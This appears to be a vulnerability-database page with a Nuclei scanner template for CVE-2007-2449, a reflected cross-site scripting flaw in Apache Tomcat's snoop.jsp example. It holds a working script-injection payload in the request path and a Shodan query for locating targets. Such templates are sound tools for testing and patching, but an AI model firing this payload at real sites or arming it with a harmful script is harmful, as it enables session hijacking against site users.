CVE-2007-2449: Apache Tomcat 4.x-7.x - Cross-Site Scripting

2025-08-01 Apache Tomcat PoC Public

Description

Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.

PoC

id: CVE-2007-2449

info:
  name: Apache Tomcat 4.x-7.x - Cross-Site Scripting
  author: pdteam,ritikchaddha
  severity: medium
  description: |
    Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Attackers can execute arbitrary scripts in victim browsers, leading to session hijacking, defacement, or redirection.
  reference:
    - https://vulners.com/securityvulns/SECURITYVULNS:DOC:17267
    - https://nvd.nist.gov/vuln/detail/CVE-2007-2449
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    epss-score: 0.77376
    epss-percentile: 0.99532
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"Apache Tomcat"
  tags: cve,cve2007,apache,misconfig,tomcat,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Request URI: /examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp'
          - 'JSP Request Method'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402201867c0f0bbf96860db9a739eeda513a92c501348cc15d80f1816f8993c74a47f0220585f466af40402fff96311e9a977660aae4d9b71783417e764ccf31e4500f762:922c64590222798bb761d5b6d8e72950

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